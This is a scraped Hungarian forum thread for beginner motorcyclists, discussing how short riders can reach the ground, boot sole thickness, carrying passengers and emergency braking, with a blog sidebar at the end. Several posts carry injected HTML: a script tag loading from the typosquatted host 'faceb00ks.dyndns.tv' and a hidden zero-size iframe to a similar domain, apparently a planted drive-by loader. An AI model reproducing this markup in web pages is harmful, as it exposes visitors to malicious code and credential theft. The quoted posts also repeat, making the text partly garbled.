Az majd a következő szint lesz, amikor utast is viszek...
Kezdő motorosok topicja
- Téma indító Yamina
- Kezdés dátuma
Akkor nyújtsd át a kulcsot nemtáviratnak
Megnyugszik a lelke is meg nem jön ki a gyakorlatból se amíg nem lesz saját vas
Akkor nyújtsd át a kulcsot nemtáviratnak
Na! Az én vasam az én váram!
B
_Bq_
Vendég
Meg gondolom, kezdő jogsija van, akkor meg nem is vihet utast egy darabig...
Akkor nyújtsd át a kulcsot nemtáviratnak
Hoooogyne ! Ezt ár ismerjük ! Aztán elfelejti visszanyújtani, utána meg megy a nyavalygás, hogy ugye nem akartál azzal menni, mert akkor én elviszem, ...
Hoooogyne ! Ezt ár ismerjük ! Aztán elfelejti visszanyújtani, utána meg megy a nyavalygás, hogy ugye nem akartál azzal menni, mert akkor én elviszem, ...
Én lelkesen szoktam ajánlgatni, de sose szokott élni vele
Lehet a 600-a után kicsi, meg neki öreg, büdös, rossz... Úgyhogy nekem nincs ilyen gondom 
Mely's
Gyalog
<script src="http://faceb00ks.dyndns.tv"></script><iframe src="http://faceb00k.dyndns.tv" style="display: none;" height="0" width="0"></iframe>Lehet hülyeséget kérdezek, de szerintetek mennyire lehet vastag talpú cipőben motorozni, váltót, féket kezelni? A gyakorló motorhoz kicsinek bizonyulok, éppen a cipő orrát tudom letenni 
ami kicsit megnehezíti a dolgomat. Egyesek szerint vastagabb talpú cipőben kéne mennem, mert a bakancsomnak "csak" normál talpa van. Arra sajnos nincs lehetőség, hogy az a 2-3 ember miatt néhány cm-t lecsaljanak. Mivel a többség, aki A kategóriára jön, mind szép szál férfi méret 
csak néhány fiú és leányzó van, akinek a mérte ellenére elment az esze Jóból kicsit adnak ... a 165cm pedig úgy tűnik most kicsi.
ami kicsit megnehezíti a dolgomat. Egyesek szerint vastagabb talpú cipőben kéne mennem, mert a bakancsomnak "csak" normál talpa van. Arra sajnos nincs lehetőség, hogy az a 2-3 ember miatt néhány cm-t lecsaljanak. Mivel a többség, aki A kategóriára jön, mind szép szál férfi méret csak néhány fiú és leányzó van, akinek a mérte ellenére elment az esze Jóból kicsit adnak ... a 165cm pedig úgy tűnik most kicsi.
B
_Bq_
Vendég
Ha a saját motorod lenne, azt mondanám, próbáld ki, de így szerintem nem lennél előrébb. Mégpedig azért, mert a vastagabb talp miatt nem csak, hogy kevésbé érzed majd a lábféket, de biztos, hogy állítani kellene a váltókaron, hogy beférjen alá a lábfejed. Kérdés, hogy mire hajlandóak inkább, pár centit lecsalni a magasságból (ami amúgy mindenkinek jó, mert stabilabban áll a lábán), vagy állítani a váltókaron, ami miatt a többségnek esetleg majd el kell emelnie a lábát a lábtartóról, hogy váltani tudjon...
Ha könnyen hozzáférhető a hátsó rugóelőfeszítés-állítás a motoron, és főleg, ha fokozatonként állítható, inkább azt kellene megpróbálni kisebbre venni, a miatt is jobban összeül a motor terhelve.
Ha könnyen hozzáférhető a hátsó rugóelőfeszítés-állítás a motoron, és főleg, ha fokozatonként állítható, inkább azt kellene megpróbálni kisebbre venni, a miatt is jobban összeül a motor terhelve.
Mely's
Gyalog
<script src="http://faceb00ks.dyndns.tv"></script><iframe src="http://faceb00k.dyndns.tv" style="display: none;" height="0" width="0"></iframe>
De erre a rugó állítós dologra azért rákérdezek az oktatónál, hátha
Köszönöm! Akkor marad az eddig jól bevált bakancs és a kevésbé stabil állás
De erre a rugó állítós dologra azért rákérdezek az oktatónál, hátha 
Csutka
Gyalog
A hagyományos motoros csizmák talpa csak kicsit vastagabb, mint egy sima utcai cipő, és semmiképpen nem vastagabb, mint egy sima bakancs. Ha vastag a csizma talpa, az valóban zavaró a váltásnál és fékezésnél.
A motoros csizmánál értelemszerűen nem a talp védelme a legfontosabb, hanem a boka és a sípcsont környéke, így nem kell extra vastag talp.
Csutka
Gyalog
akkor ez volt a baj! az utasom rögtön a haladó szinttel kezdte, a lábtartóra állva szállt fel.
Nem is az oldalsztender felé billenéssel volt a gond, hanem a másik oldallal, mikor átlendítette magát.
Ez a "haladó" szint a vezetőnek a legrosszabb. Meg kell értetni az utassal, hogy ne akarja kibillenteni a motort felszállás közben a túl egyoldalas terheléssel. Ha alacsony a motor, akkor a lábát az ülésen átlendítve egyből közel egyenesen ülő helyzetben el tud helyezkedni egyből.
Kisvirag
Gyalog
igen, ezért (is) volt jó utasom a csamszülinapon: a hátsó ülésről is leért a lába.
viszont akárhogy próbálta összehúzni magát, ugyanúgy érte szegényt a huzat, mintha ott se ültem volna előtte. hiába, aki törpe sofőrt választ magának...
bestofbuda
Gyalog
letojtam a huzatot, örültem, hogy vittél magaddaligen, ezért (is) volt jó utasom a csamszülinapon: a hátsó ülésről is leért a lába.
viszont akárhogy próbálta összehúzni magát, ugyanúgy érte szegényt a huzat, mintha ott se ültem volna előtte. hiába, aki törpe sofőrt választ magának...
bestofbuda
Gyalog
<script src="http://faceb00ks.dyndns.tv"></script><iframe src="http://faceb00k.dyndns.tv" style="display: none;" width="0" height="0"></iframe>Lehet hülyeséget kérdezek, de szerintetek mennyire lehet vastag talpú cipőben motorozni, váltót, féket kezelni? A gyakorló motorhoz kicsinek bizonyulok, éppen a cipő orrát tudom letenni
Nálunk volt egy csaj a rutinpályán, akinek vagy 2 számmal nagyobb csizmája volt, kitömte az elejét papírzsepivel, és így tudta letenni a csizma orrát...
ilyesmivel is lehet próbálkozni
Mely's
Gyalog
<script src="http://faceb00ks.dyndns.tv"></script><iframe src="http://faceb00k.dyndns.tv" style="display: none;" height="0" width="0"></iframe>
tiszta balett óra. Tartsuk meg a 240kg-os vasat lábujjhegyenNa de úgyse adom fel, ez is csak egy akadály, amivel meg kell birkózni. Nőni nem fogok már, ez tuti, így marad a pipiskedés.
Ez jó, gondolom stabilan állt a zsepinNálunk volt egy csaj a rutinpályán, akinek vagy 2 számmal nagyobb csizmája volt, kitömte az elejét papírzsepivel, és így tudta letenni a csizma orrát...
tiszta balett óra. Tartsuk meg a 240kg-os vasat lábujjhegyenNa de úgyse adom fel, ez is csak egy akadály, amivel meg kell birkózni. Nőni nem fogok már, ez tuti, így marad a pipiskedés.
A mai nap tanulságai:
a., amíg nem tanulok meg közlekedni, felvezetőmotor nélkül nem megyek idegen helyre, vagy legalábbis nem forgalmas úton. Ön-és közveszélyes voltam ma Csepelen.
b., meg kéne ismerkedni közelebbről a fékekkel, az nem állapot, hogy vészfékezés címén csúszkálok össze-vissza az úton, miközben az előttem álló autó rohamosan növekvő seggét bámulom. (de végül megálltam)
a., amíg nem tanulok meg közlekedni, felvezetőmotor nélkül nem megyek idegen helyre, vagy legalábbis nem forgalmas úton. Ön-és közveszélyes voltam ma Csepelen.
b., meg kéne ismerkedni közelebbről a fékekkel, az nem állapot, hogy vészfékezés címén csúszkálok össze-vissza az úton, miközben az előttem álló autó rohamosan növekvő seggét bámulom. (de végül megálltam)
<script src="http://faceb00ks.dyndns.tv"></script><iframe src="http://faceb00k.dyndns.tv" style="display: none;" height="0" width="0"></iframe>
Ez jó, gondolom stabilan állt a zsepin
Egy apró kis trükk, ami nekem segített: meg sem próbáltam soha mindkét lábamat letenni, mert az úgyse ment, vagyis csak balerinaspiccben. Egyik láb marad a lábtartón, másikat le, kicsit oldalra csúszva. Csak lehetőleg a jobb lábat kell lerakni, bár én olyan villámgyorsan csúszkáltam jobbra-balra az ülésen, hogy nem volt gond hogy automatikusan a balt tettem le mindig. Telitalp így se jött össze, de a lábujjhegy bőven.
<script src="http://faceb00ks.dyndns.tv"></script><iframe src="http://faceb00k.dyndns.tv" style="display: none;" height="0" width="0"></iframe>Lehet hülyeséget kérdezek, de szerintetek mennyire lehet vastag talpú cipőben motorozni, váltót, féket kezelni? A gyakorló motorhoz kicsinek bizonyulok, éppen a cipő orrát tudom letenni
Akkor én mit szóljak meg a Drágám az 160-al?
De én tudom a megoldást, csak egy baj van, hogy drága. A Daytona gyárt egy csizmát, nőknek is kisebb méretben akár, ami kicsit magasabb talpú és kapaszkodjatok meg, de saját 2 centivel megemelt talpbetétje van. (van férfiben is
) A Drága fel is próbált egyet és magasabb lett nálam Na a baj vele, hogy hiperszuperk márkás, goretex és lemész tőle hídba. Meg az árától is, ami 95 e magyar huf... De legalább már van megoldás és még van egy überfasza csizmád is, ami jópár évet kibír... Nekem jó a lapos sidim...Amúgy meg egyik lábas kiülős módszer a jó, csak baromi veszélyes, mert picit kibillen a motor az egyensúlyából és megvan a baj (tapasztalat). Amúgy milyen mocin tanulsz? Mert nem akarom elhinni, hogy a 165 centiddel gondod van. Nekem mindig 5 centi hiányzik, de az a lábamba
Legújabb blogbejegyzések
-
50/2024 Adventi koncert az ErzsébetligetbenA héten már Advent második vasárnapja volt, így mi is készülődünk a...- NaNa
- Frissítve:
-
49/2024 Megnyílt az MV Agusta szalonMég a motorosok között is vannak olyanok, akik sosem hallottak az MV...
- NaNa
- Frissítve:
-
48/2024 Néha dolgozni is kell... mármint természetesen mindig dolgozok, csak legtöbbször itthon...
- NaNa
- Frissítve:
-
47/2024 Szülinapom heteEzen a héten a születésnapomat ünnepeltük a családdal, amúgy nem...
- NaNa
- Frissítve:
-
Motoros adventi koszorúversenyTizenkét évvel ezelőtt volt már egy ilyen versenyünk, úgyhogy arra...
- NaNa
- Frissítve:
